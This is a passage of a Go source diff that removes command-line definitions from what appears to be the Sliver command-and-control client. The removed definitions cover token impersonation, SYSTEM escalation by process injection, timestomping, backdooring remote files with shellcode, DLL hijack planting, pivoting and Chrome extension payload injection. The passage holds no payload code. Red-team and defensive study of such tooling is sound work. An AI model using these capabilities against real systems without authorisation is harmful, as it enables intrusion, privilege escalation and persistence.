"", "name to assign when adding the memory dump to the loot store (optional)") - - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - terminateCmd := &cobra.Command{ - Use: consts.TerminateStr, - Short: "Terminate a process on the remote system", - Long: help.GetHelpFor([]string{consts.TerminateStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - processes.TerminateCmd(cmd, con, args) - }, - GroupID: consts.ProcessHelpGroup, - } - sliver.AddCommand(terminateCmd) - Flags("", false, terminateCmd, func(f *pflag.FlagSet) { - f.BoolP("force", "F", false, "disregard safety and kill the PID") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(terminateCmd).PositionalCompletion(carapace.ActionValues().Usage("process ID")) - - // [ Privileges ] --------------------------------------------- - - runAsCmd := &cobra.Command{ - Use: consts.RunAsStr, - Short: "Run a new process in the context of the designated user (Windows Only)", - Long: help.GetHelpFor([]string{consts.RunAsStr}), - Run: func(cmd *cobra.Command, args []string) { - privilege.RunAsCmd(cmd, con, args) - }, - GroupID: consts.PrivilegesHelpGroup, - Annotations: hideCommand(consts.WindowsCmdsFilter), - } - sliver.AddCommand(runAsCmd) - Flags("", false, runAsCmd, func(f *pflag.FlagSet) { - f.StringP("username", "u", "", "user to impersonate") - f.StringP("process", "p", "", "process to start") - f.StringP("args", "a", "", "arguments for the process") - f.StringP("domain", "d", "", "domain of the user") - f.StringP("password", "P", "", "password of the user") - f.BoolP("show-window", "s", false, ` - Log on, but use the specified credentials on the network only. The new process uses the same token as the caller, but the system creates a new logon session within LSA, and the process uses the specified credentials as the default credentials.`) - f.BoolP("net-only", "n", false, "use ") - f.Int64P("timeout", "t", 30, "grpc timeout in seconds") - }) - - impersonateCmd := &cobra.Command{ - Use: consts.ImpersonateStr, - Short: "Impersonate a logged in user.", - Long: help.GetHelpFor([]string{consts.ImpersonateStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - privilege.ImpersonateCmd(cmd, con, args) - }, - GroupID: consts.PrivilegesHelpGroup, - Annotations: hideCommand(consts.WindowsCmdsFilter), - } - sliver.AddCommand(impersonateCmd) - Flags("", false, impersonateCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", 30, "grpc timeout in seconds") - }) - carapace.Gen(impersonateCmd).PositionalCompletion(carapace.ActionValues().Usage("name of the user account to impersonate")) - - revToSelfCmd := &cobra.Command{ - Use: consts.RevToSelfStr, - Short: "Revert to self: lose stolen Windows token", - Long: help.GetHelpFor([]string{consts.RevToSelfStr}), - Run: func(cmd *cobra.Command, args []string) { - privilege.RevToSelfCmd(cmd, con, args) - }, - GroupID: consts.PrivilegesHelpGroup, - Annotations: hideCommand(consts.WindowsCmdsFilter), - } - sliver.AddCommand(revToSelfCmd) - Flags("", false, revToSelfCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", 30, "grpc timeout in seconds") - }) - - getSystemCmd := &cobra.Command{ - Use: consts.GetSystemStr, - Short: "Spawns a new sliver session as the NT AUTHORITY\\SYSTEM user (Windows Only)", - Long: help.GetHelpFor([]string{consts.GetSystemStr}), - Run: func(cmd *cobra.Command, args []string) { - privilege.GetSystemCmd(cmd, con, args) - }, - GroupID: consts.PrivilegesHelpGroup, - Annotations: hideCommand(consts.WindowsCmdsFilter), - } - sliver.AddCommand(getSystemCmd) - Flags("", false, getSystemCmd, func(f *pflag.FlagSet) { - f.StringP("process", "p", "spoolsv.exe", "SYSTEM process to inject into") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - makeTokenCmd := &cobra.Command{ - Use: consts.MakeTokenStr, - Short: "Create a new Logon Session with the specified credentials", - Long: help.GetHelpFor([]string{consts.MakeTokenStr}), - GroupID: consts.PrivilegesHelpGroup, - Annotations: hideCommand(consts.WindowsCmdsFilter), - Run: func(cmd *cobra.Command, args []string) { - privilege.MakeTokenCmd(cmd, con, args) - }, - } - sliver.AddCommand(makeTokenCmd) - Flags("", false, makeTokenCmd, func(f *pflag.FlagSet) { - f.StringP("username", "u", "", "username of the user to impersonate") - f.StringP("password", "p", "", "password of the user to impersonate") - f.StringP("domain", "d", "", "domain of the user to impersonate") - f.StringP("logon-type", "T", "LOGON_NEW_CREDENTIALS", "logon type to use") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - chmodCmd := &cobra.Command{ - Use: consts.ChmodStr, - Short: "Change permissions on a file or directory", - Long: help.GetHelpFor([]string{consts.ChmodStr}), - Args: cobra.ExactArgs(2), - Run: func(cmd *cobra.Command, args []string) { - filesystem.ChmodCmd(cmd, con, args) - }, - GroupID: consts.PrivilegesHelpGroup, - } - sliver.AddCommand(chmodCmd) - Flags("", false, chmodCmd, func(f *pflag.FlagSet) { - f.BoolP("recursive", "r", false, "recursively change permissions on files") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(chmodCmd).PositionalCompletion( - carapace.ActionValues().Usage("path to file to change mod perms"), - carapace.ActionValues().Usage("file permissions in octal (eg. 0644)"), - ) - - chownCmd := &cobra.Command{ - Use: consts.ChownStr, - Short: "Change owner on a file or directory", - Long: help.GetHelpFor([]string{consts.ChownStr}), - Args: cobra.ExactArgs(3), - Run: func(cmd *cobra.Command, args []string) { - filesystem.ChownCmd(cmd, con, args) - }, - GroupID: consts.PrivilegesHelpGroup, - } - sliver.AddCommand(chownCmd) - Flags("", false, chownCmd, func(f *pflag.FlagSet) { - f.BoolP("recursive", "r", false, "recursively change permissions on files") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(chownCmd).PositionalCompletion( - carapace.ActionValues().Usage("path to file to change owner for"), - carapace.ActionValues().Usage("user ID"), - carapace.ActionValues().Usage("group ID (required)"), - ) - - chtimesCmd := &cobra.Command{ - Use: consts.ChtimesStr, - Short: "Change access and modification times on a file (timestomp)", - Long: help.GetHelpFor([]string{consts.ChtimesStr}), - Args: cobra.ExactArgs(3), - Run: func(cmd *cobra.Command, args []string) { - filesystem.ChtimesCmd(cmd, con, args) - }, - GroupID: consts.PrivilegesHelpGroup, - } - sliver.AddCommand(chtimesCmd) - Flags("", false, chtimesCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(chtimesCmd).PositionalCompletion( - carapace.ActionValues().Usage("path to file to change access timestamps"), - carapace.ActionValues().Usage("last accessed time in DateTime format, i.e. 2006-01-02 15:04:05"), - carapace.ActionValues().Usage("last modified time in DateTime format, i.e. 2006-01-02 15:04:05"), - ) - - // [ Screenshot ] --------------------------------------------- - - screenshotCmd := &cobra.Command{ - Use: consts.ScreenshotStr, - Short: "Take a screenshot", - Long: help.GetHelpFor([]string{consts.ScreenshotStr}), - Run: func(cmd *cobra.Command, args []string) { - screenshot.ScreenshotCmd(cmd, con, args) - }, - GroupID: consts.InfoHelpGroup, - } - sliver.AddCommand(screenshotCmd) - Flags("", false, screenshotCmd, func(f *pflag.FlagSet) { - f.StringP("save", "s", "", "save to file (will overwrite if exists)") - f.BoolP("loot", "X", false, "save output as loot") - f.StringP("name", "n", "", "name to assign loot (optional)") - - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - FlagComps(screenshotCmd, func(comp *carapace.ActionMap) { - (*comp)["save"] = carapace.ActionFiles() - }) - - // [ Backdoor ] --------------------------------------------- - - backdoorCmd := &cobra.Command{ - Use: consts.BackdoorStr, - Short: "Infect a remote file with a sliver shellcode", - Long: help.GetHelpFor([]string{consts.BackdoorStr}), - Args: cobra.ExactArgs(1), - GroupID: consts.ExecutionHelpGroup, - Annotations: hideCommand(consts.WindowsCmdsFilter), - Run: func(cmd *cobra.Command, args []string) { - backdoor.BackdoorCmd(cmd, con, args) - }, - } - sliver.AddCommand(backdoorCmd) - Flags("", false, backdoorCmd, func(f *pflag.FlagSet) { - f.StringP("profile", "p", "", "profile to use for service binary") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - FlagComps(screenshotCmd, func(comp *carapace.ActionMap) { - (*comp)["profile"] = generate.ProfileNameCompleter(con) - }) - carapace.Gen(backdoorCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the remote file to backdoor")) - - // // [ DLL Hijack ] ----------------------------------------------------------------- - - dllhijackCmd := &cobra.Command{ - Use: consts.DLLHijackStr, - Short: "Plant a DLL for a hijack scenario", - Long: help.GetHelpFor([]string{consts.DLLHijackStr}), - GroupID: consts.ExecutionHelpGroup, - Annotations: hideCommand(consts.WindowsCmdsFilter), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - dllhijack.DllHijackCmd(cmd, con, args) - }, - } - sliver.AddCommand(dllhijackCmd) - Flags("", false, dllhijackCmd, func(f *pflag.FlagSet) { - f.StringP("reference-path", "r", "", "Path to the reference DLL on the remote system") - f.StringP("reference-file", "R", "", "Path to the reference DLL on the local system") - f.StringP("file", "f", "", "Local path to the DLL to plant for the hijack") - f.StringP("profile", "p", "", "Profile name to use as a base DLL") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - FlagComps(dllhijackCmd, func(comp *carapace.ActionMap) { - (*comp)["reference-file"] = carapace.ActionFiles() - (*comp)["file"] = carapace.ActionFiles() - (*comp)["profile"] = generate.ProfileNameCompleter(con) - }) - carapace.Gen(dllhijackCmd).PositionalCompletion(carapace.ActionValues().Usage("Path to upload the DLL to on the remote system")) - - // [ Get Privs ] ----------------------------------------------------------------- - getprivsCmd := &cobra.Command{ - Use: consts.GetPrivsStr, - Short: "Get current privileges (Windows only)", - Long: help.GetHelpFor([]string{consts.GetPrivsStr}), - GroupID: consts.PrivilegesHelpGroup, - Annotations: hideCommand(consts.WindowsCmdsFilter), - Run: func(cmd *cobra.Command, args []string) { - privilege.GetPrivsCmd(cmd, con, args) - }, - } - sliver.AddCommand(getprivsCmd) - Flags("", false, getprivsCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - // - - // [ Environment ] --------------------------------------------- - - envCmd := &cobra.Command{ - Use: consts.EnvStr, - Short: "List environment variables", - Long: help.GetHelpFor([]string{consts.EnvStr}), - Args: cobra.RangeArgs(0, 1), - Run: func(cmd *cobra.Command, args []string) { - environment.EnvGetCmd(cmd, con, args) - }, - GroupID: consts.InfoHelpGroup, - } - sliver.AddCommand(envCmd) - Flags("", true, envCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(envCmd).PositionalCompletion(carapace.ActionValues().Usage("environment variable to fetch (optional)")) - - envSetCmd := &cobra.Command{ - Use: consts.SetStr, - Short: "Set environment variables", - Long: help.GetHelpFor([]string{consts.EnvStr, consts.SetStr}), - Args: cobra.ExactArgs(2), - Run: func(cmd *cobra.Command, args []string) { - environment.EnvSetCmd(cmd, con, args) - }, - } - envCmd.AddCommand(envSetCmd) - carapace.Gen(envSetCmd).PositionalCompletion( - carapace.ActionValues().Usage("environment variable name"), - carapace.ActionValues().Usage("value to assign"), - ) - - envUnsetCmd := &cobra.Command{ - Use: consts.UnsetStr, - Short: "Clear environment variables", - Long: help.GetHelpFor([]string{consts.EnvStr, consts.UnsetStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - environment.EnvUnsetCmd(cmd, con, args) - }, - } - envCmd.AddCommand(envUnsetCmd) - carapace.Gen(envUnsetCmd).PositionalCompletion(carapace.ActionValues().Usage("environment variable name")) - - // [ Registry ] --------------------------------------------- - - registryCmd := &cobra.Command{ - Use: consts.RegistryStr, - Short: "Windows registry operations", - Long: help.GetHelpFor([]string{consts.RegistryStr}), - GroupID: consts.InfoHelpGroup, - Annotations: hideCommand(consts.WindowsCmdsFilter), - } - sliver.AddCommand(registryCmd) - Flags("registry", true, registryCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - registryReadCmd := &cobra.Command{ - Use: consts.RegistryReadStr, - Short: "Read values from the Windows registry", - Long: help.GetHelpFor([]string{consts.RegistryReadStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - registry.RegReadCmd(cmd, con, args) - }, - } - registryCmd.AddCommand(registryReadCmd) - Flags("", false, registryReadCmd, func(f *pflag.FlagSet) { - f.StringP("hive", "H", "HKCU", "registry hive") - f.StringP("hostname", "o", "", "remote host to read values from") - }) - carapace.Gen(registryReadCmd).PositionalCompletion(carapace.ActionValues().Usage("registry path")) - - registryWriteCmd := &cobra.Command{ - Use: consts.RegistryWriteStr, - Short: "Write values to the Windows registry", - Long: help.GetHelpFor([]string{consts.RegistryWriteStr}), - Args: cobra.ExactArgs(2), - Run: func(cmd *cobra.Command, args []string) { - registry.RegWriteCmd(cmd, con, args) - }, - } - registryCmd.AddCommand(registryWriteCmd) - Flags("", false, registryWriteCmd, func(f *pflag.FlagSet) { - f.StringP("hive", "H", "HKCU", "registry hive") - f.StringP("hostname", "o", "", "remote host to write values to") - f.StringP("type", "T", "string", "type of the value to write (string, dword, qword, binary). If binary, you must provide a path to a file with --path") - f.StringP("path", "p", "", "path to the binary file to write") - }) - carapace.Gen(registryWriteCmd).PositionalCompletion( - carapace.ActionValues().Usage("registry path"), - carapace.ActionValues().Usage("value to write"), - ) - - registryCreateKeyCmd := &cobra.Command{ - Use: consts.RegistryCreateKeyStr, - Short: "Create a registry key", - Long: help.GetHelpFor([]string{consts.RegistryCreateKeyStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - registry.RegCreateKeyCmd(cmd, con, args) - }, - } - registryCmd.AddCommand(registryCreateKeyCmd) - Flags("", false, registryCreateKeyCmd, func(f *pflag.FlagSet) { - f.StringP("hive", "H", "HKCU", "registry hive") - f.StringP("hostname", "o", "", "remote host to write values to") - }) - carapace.Gen(registryCreateKeyCmd).PositionalCompletion(carapace.ActionValues().Usage("registry path")) - - registryDeleteKeyCmd := &cobra.Command{ - Use: consts.RegistryDeleteKeyStr, - Short: "Remove a registry key", - Long: help.GetHelpFor([]string{consts.RegistryDeleteKeyStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - registry.RegDeleteKeyCmd(cmd, con, args) - }, - } - registryCmd.AddCommand(registryDeleteKeyCmd) - Flags("", false, registryDeleteKeyCmd, func(f *pflag.FlagSet) { - f.StringP("hive", "H", "HKCU", "registry hive") - f.StringP("hostname", "o", "", "remote host to remove value from") - }) - carapace.Gen(registryDeleteKeyCmd).PositionalCompletion(carapace.ActionValues().Usage("registry path")) - - registryListSubCmd := &cobra.Command{ - Use: consts.RegistryListSubStr, - Short: "List the sub keys under a registry key", - Long: help.GetHelpFor([]string{consts.RegistryListSubStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - registry.RegListSubKeysCmd(cmd, con, args) - }, - } - registryCmd.AddCommand(registryListSubCmd) - Flags("", false, registryListSubCmd, func(f *pflag.FlagSet) { - f.StringP("hive", "H", "HKCU", "registry hive") - f.StringP("hostname", "o", "", "remote host to write values to") - }) - carapace.Gen(registryListSubCmd).PositionalCompletion(carapace.ActionValues().Usage("registry path")) - - registryListValuesCmd := &cobra.Command{ - Use: consts.RegistryListValuesStr, - Short: "List the values for a registry key", - Long: help.GetHelpFor([]string{consts.RegistryListValuesStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - registry.RegListValuesCmd(cmd, con, args) - }, - } - registryCmd.AddCommand(registryListValuesCmd) - Flags("", false, registryListValuesCmd, func(f *pflag.FlagSet) { - f.StringP("hive", "H", "HKCU", "registry hive") - f.StringP("hostname", "o", "", "remote host to write values to") - }) - carapace.Gen(registryListValuesCmd).PositionalCompletion(carapace.ActionValues().Usage("registry path")) - - // [ Reverse Port Forwarding ] -------------------------------------------------------------- - - rportfwdCmd := &cobra.Command{ - Use: consts.RportfwdStr, - Short: "reverse port forwardings", - Long: help.GetHelpFor([]string{consts.RportfwdStr}), - Run: func(cmd *cobra.Command, args []string) { - rportfwd.RportFwdListenersCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - } - sliver.AddCommand(rportfwdCmd) - Flags("", true, rportfwdCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - rportfwdAddCmd := &cobra.Command{ - Use: consts.AddStr, - Short: "Add and start reverse port forwarding", - Long: help.GetHelpFor([]string{consts.RportfwdStr}), - Run: func(cmd *cobra.Command, args []string) { - rportfwd.StartRportFwdListenerCmd(cmd, con, args) - }, - } - rportfwdCmd.AddCommand(rportfwdAddCmd) - Flags("", false, rportfwdAddCmd, func(f *pflag.FlagSet) { - f.StringP("remote", "r", "", "remote address : connection is forwarded to") - f.StringP("bind", "b", "", "bind address : for implants to listen on") - }) - FlagComps(rportfwdAddCmd, func(comp *carapace.ActionMap) { - (*comp)["remote"] = completers.ClientInterfacesCompleter() - }) - - rportfwdRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Stop and remove reverse port forwarding", - Long: help.GetHelpFor([]string{consts.RportfwdStr}), - Run: func(cmd *cobra.Command, args []string) { - rportfwd.StopRportFwdListenerCmd(cmd, con, args) - }, - } - rportfwdCmd.AddCommand(rportfwdRmCmd) - Flags("", false, rportfwdRmCmd, func(f *pflag.FlagSet) { - f.Uint32P("id", "i", 0, "id of portfwd to remove") - }) - FlagComps(rportfwdRmCmd, func(comp *carapace.ActionMap) { - (*comp)["id"] = rportfwd.PortfwdIDCompleter(con) - }) - - // [ Pivots ] -------------------------------------------------------------- - - pivotsCmd := &cobra.Command{ - Use: consts.PivotsStr, - Short: "List pivots for active session", - Long: help.GetHelpFor([]string{consts.PivotsStr}), - Run: func(cmd *cobra.Command, args []string) { - pivots.PivotsCmd(cmd, con, args) - }, - GroupID: consts.SliverCoreHelpGroup, - } - sliver.AddCommand(pivotsCmd) - Flags("", true, pivotsCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - namedPipeCmd := &cobra.Command{ - Use: consts.NamedPipeStr, - Short: "Start a named pipe pivot listener", - Long: help.GetHelpFor([]string{consts.PivotsStr, consts.NamedPipeStr}), - Run: func(cmd *cobra.Command, args []string) { - pivots.StartNamedPipeListenerCmd(cmd, con, args) - }, - } - pivotsCmd.AddCommand(namedPipeCmd) - Flags("", false, namedPipeCmd, func(f *pflag.FlagSet) { - f.StringP("bind", "b", "", "name of the named pipe to bind pivot listener") - f.BoolP("allow-all", "a", false, "allow all users to connect") - }) - - tcpListenerCmd := &cobra.Command{ - Use: consts.TCPListenerStr, - Short: "Start a TCP pivot listener", - Long: help.GetHelpFor([]string{consts.PivotsStr, consts.TCPListenerStr}), - Run: func(cmd *cobra.Command, args []string) { - pivots.StartTCPListenerCmd(cmd, con, args) - }, - } - pivotsCmd.AddCommand(tcpListenerCmd) - Flags("", false, tcpListenerCmd, func(f *pflag.FlagSet) { - f.StringP("bind", "b", "", "remote interface to bind pivot listener") - f.Uint16P("lport", "l", generate.DefaultTCPPivotPort, "tcp pivot listener port") - }) - - pivotStopCmd := &cobra.Command{ - Use: consts.StopStr, - Short: "Stop a pivot listener", - Long: help.GetHelpFor([]string{consts.PivotsStr, consts.StopStr}), - Run: func(cmd *cobra.Command, args []string) { - pivots.StopPivotListenerCmd(cmd, con, args) - }, - } - pivotsCmd.AddCommand(pivotStopCmd) - Flags("", false, pivotStopCmd, func(f *pflag.FlagSet) { - f.Uint32P("id", "i", 0, "id of the pivot listener to stop") - }) - FlagComps(pivotStopCmd, func(comp *carapace.ActionMap) { - (*comp)["id"] = pivots.PivotIDCompleter(con) - }) - - pivotDetailsCmd := &cobra.Command{ - Use: consts.DetailsStr, - Short: "Get details of a pivot listener", - Long: help.GetHelpFor([]string{consts.PivotsStr, consts.StopStr}), - Run: func(cmd *cobra.Command, args []string) { - pivots.PivotDetailsCmd(cmd, con, args) - }, - } - pivotsCmd.AddCommand(pivotDetailsCmd) - Flags("", false, pivotDetailsCmd, func(f *pflag.FlagSet) { - f.IntP("id", "i", 0, "id of the pivot listener to get details for") - }) - FlagComps(pivotDetailsCmd, func(comp *carapace.ActionMap) { - (*comp)["id"] = pivots.PivotIDCompleter(con) - }) - - graphCmd := &cobra.Command{ - Use: consts.GraphStr, - Short: "Get pivot listeners graph", - Long: help.GetHelpFor([]string{consts.PivotsStr, "graph"}), - Run: func(cmd *cobra.Command, args []string) { - pivots.PivotsGraphCmd(cmd, con, args) - }, - } - pivotsCmd.AddCommand(graphCmd) - - // [ Portfwd ] -------------------------------------------------------------- - - portfwdCmd := &cobra.Command{ - Use: consts.PortfwdStr, - Short: "In-band TCP port forwarding", - Long: help.GetHelpFor([]string{consts.PortfwdStr}), - Run: func(cmd *cobra.Command, args []string) { - portfwd.PortfwdCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - } - sliver.AddCommand(portfwdCmd) - Flags("", true, portfwdCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - addCmd := &cobra.Command{ - Use: consts.AddStr, - Short: "Create a new port forwarding tunnel", - Long: help.GetHelpFor([]string{consts.PortfwdStr}), - Run: func(cmd *cobra.Command, args []string) { - portfwd.PortfwdAddCmd(cmd, con, args) - }, - } - portfwdCmd.AddCommand(addCmd) - Flags("", false, addCmd, func(f *pflag.FlagSet) { - f.StringP("remote", "r", "", "remote target host:port (e.g., 10.0.0.1:445)") - f.StringP("bind", "b", "127.0.0.1:8080", "bind port forward to interface") - }) - FlagComps(addCmd, func(comp *carapace.ActionMap) { - (*comp)["bind"] = completers.ClientInterfacesCompleter() - }) - - portfwdRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove a port forwarding tunnel", - Long: help.GetHelpFor([]string{consts.PortfwdStr}), - Run: func(cmd *cobra.Command, args []string) { - portfwd.PortfwdRmCmd(cmd, con, args) - }, - } - portfwdCmd.AddCommand(portfwdRmCmd) - Flags("", false, portfwdRmCmd, func(f *pflag.FlagSet) { - f.IntP("id", "i", 0, "id of portfwd to remove") - }) - FlagComps(portfwdRmCmd, func(comp *carapace.ActionMap) { - (*comp)["id"] = portfwd.PortfwdIDCompleter(con) - }) - - // [ Socks ] -------------------------------------------------------------- - - socksCmd := &cobra.Command{ - Use: consts.Socks5Str, - Short: "In-band SOCKS5 Proxy", - Long: help.GetHelpFor([]string{consts.Socks5Str}), - Run: func(cmd *cobra.Command, args []string) { - socks.SocksCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - } - sliver.AddCommand(socksCmd) - Flags("", true, socksCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - socksStartCmd := &cobra.Command{ - Use: consts.StartStr, - Short: "Start an in-band SOCKS5 proxy", - Long: help.GetHelpFor([]string{consts.Socks5Str}), - Run: func(cmd *cobra.Command, args []string) { - socks.SocksStartCmd(cmd, con, args) - }, - } - socksCmd.AddCommand(socksStartCmd) - Flags("", false, socksStartCmd, func(f *pflag.FlagSet) { - f.StringP("host", "H", "127.0.0.1", "Bind a Socks5 Host") - f.StringP("port", "P", "1081", "Bind a Socks5 Port") - f.StringP("user", "u", "", "socks5 auth username (will generate random password)") - }) - FlagComps(socksStartCmd, func(comp *carapace.ActionMap) { - (*comp)["host"] = completers.ClientInterfacesCompleter() - }) - - socksStopCmd := &cobra.Command{ - Use: consts.StopStr, - Short: "Stop a SOCKS5 proxy", - Long: help.GetHelpFor([]string{consts.Socks5Str}), - Run: func(cmd *cobra.Command, args []string) { - socks.SocksStopCmd(cmd, con, args) - }, - } - socksCmd.AddCommand(socksStopCmd) - Flags("", false, socksStopCmd, func(f *pflag.FlagSet) { - f.Uint64P("id", "i", 0, "id of portfwd to remove") - }) - FlagComps(socksStopCmd, func(comp *carapace.ActionMap) { - (*comp)["id"] = socks.SocksIDCompleter(con) - }) - - // [ WireGuard ] -------------------------------------------------------------- - - wgPortFwdCmd := &cobra.Command{ - Use: consts.WgPortFwdStr, - Short: "List ports forwarded by the WireGuard tun interface", - Long: help.GetHelpFor([]string{consts.WgPortFwdStr}), - Run: func(cmd *cobra.Command, args []string) { - wireguard.WGPortFwdListCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - Annotations: hideCommand(consts.WireguardCmdsFilter), - } - Flags("wg portforward", true, wgPortFwdCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - sliver.AddCommand(wgPortFwdCmd) - - wgPortFwdAddCmd := &cobra.Command{ - Use: consts.AddStr, - Short: "Add a port forward from the WireGuard tun interface to a host on the target network", - Long: help.GetHelpFor([]string{consts.WgPortFwdStr, consts.AddStr}), - Run: func(cmd *cobra.Command, args []string) { - wireguard.WGPortFwdAddCmd(cmd, con, args) - }, - } - Flags("wg portforward", false, wgPortFwdAddCmd, func(f *pflag.FlagSet) { - f.Int32P("bind", "b", 1080, "port to listen on the WireGuard tun interface") - f.StringP("remote", "r", "", "remote target host:port (e.g., 10.0.0.1:445)") - }) - wgPortFwdCmd.AddCommand(wgPortFwdAddCmd) - - wgPortFwdRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove a port forward from the WireGuard tun interface", - Long: help.GetHelpFor([]string{consts.WgPortFwdStr, consts.RmStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - wireguard.WGPortFwdRmCmd(cmd, con, args) - }, - } - wgPortFwdCmd.AddCommand(wgPortFwdRmCmd) - - carapace.Gen(wgPortFwdRmCmd).PositionalCompletion(wireguard.PortfwdIDCompleter(con).Usage("forwarder ID")) - - wgSocksCmd := &cobra.Command{ - Use: consts.WgSocksStr, - Short: "List socks servers listening on the WireGuard tun interface", - Long: help.GetHelpFor([]string{consts.WgSocksStr}), - Run: func(cmd *cobra.Command, args []string) { - wireguard.WGSocksListCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - Annotations: hideCommand(consts.WireguardCmdsFilter), - } - sliver.AddCommand(wgSocksCmd) - Flags("wg socks", true, wgSocksCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - wgSocksStartCmd := &cobra.Command{ - Use: consts.StartStr, - Short: "Start a socks5 listener on the WireGuard tun interface", - Long: help.GetHelpFor([]string{consts.WgSocksStr, consts.StartStr}), - Run: func(cmd *cobra.Command, args []string) { - wireguard.WGSocksStartCmd(cmd, con, args) - }, - } - wgSocksCmd.AddCommand(wgSocksStartCmd) - Flags("wg socks", false, wgSocksStartCmd, func(f *pflag.FlagSet) { - f.Int32P("bind", "b", 3090, "port to listen on the WireGuard tun interface") - }) - - wgSocksStopCmd := &cobra.Command{ - Use: consts.StopStr, - Short: "Stop a socks5 listener on the WireGuard tun interface", - Long: help.GetHelpFor([]string{consts.WgSocksStr, consts.StopStr}), - Run: func(cmd *cobra.Command, args []string) { - wireguard.WGSocksStopCmd(cmd, con, args) - }, - Args: cobra.ExactArgs(1), - } - wgSocksCmd.AddCommand(wgSocksStopCmd) - carapace.Gen(wgSocksStopCmd).PositionalCompletion(wireguard.SocksIDCompleter(con).Usage("Socks server ID")) - - // [ Curse Commands ] ------------------------------------------------------------ - - cursedCmd := &cobra.Command{ - Use: consts.Cursed, - Short: "Chrome/electron post-exploitation tool kit (∩`-´)⊃━☆゚.*・。゚", - Long: help.GetHelpFor([]string{consts.Cursed}), - GroupID: consts.ExecutionHelpGroup, - Run: func(cmd *cobra.Command, args []string) { - cursed.CursedCmd(cmd, con, args) - }, - } - sliver.AddCommand(cursedCmd) - Flags("", true, cursedCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - cursedRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove a Curse from a process", - Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - cursed.CursedRmCmd(cmd, con, args) - }, - } - cursedCmd.AddCommand(cursedRmCmd) - Flags("", false, cursedRmCmd, func(f *pflag.FlagSet) { - f.BoolP("kill", "k", false, "kill the process after removing the curse") - }) - carapace.Gen(cursedRmCmd).PositionalCompletion(carapace.ActionValues().Usage("bind port of the Cursed process to stop")) - - cursedConsoleCmd := &cobra.Command{ - Use: consts.CursedConsole, - Short: "Start a JavaScript console connected to a debug target", - Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}), - Run: func(cmd *cobra.Command, args []string) { - cursed.CursedConsoleCmd(cmd, con, args) - }, - } - cursedCmd.AddCommand(cursedConsoleCmd) - Flags("", false, cursedConsoleCmd, func(f *pflag.FlagSet) { - f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)`") - }) - - cursedChromeCmd := &cobra.Command{ - Use: consts.CursedChrome, - Short: "Automatically inject a Cursed Chrome payload into a remote Chrome extension", - Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedChrome}), - Run: func(cmd *cobra.Command, args []string) { - cursed.CursedChromeCmd(cmd, con, args) - }, - } - cursedCmd.AddCommand(cursedChromeCmd) - Flags("", false, cursedChromeCmd, func(f *pflag.FlagSet) { - f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)") - f.BoolP("restore", "R", true, "restore the user's session after process termination") - f.StringP("exe", "e", "", "chrome/chromium browser executable path (blank string = auto)") - f.StringP("user-data", 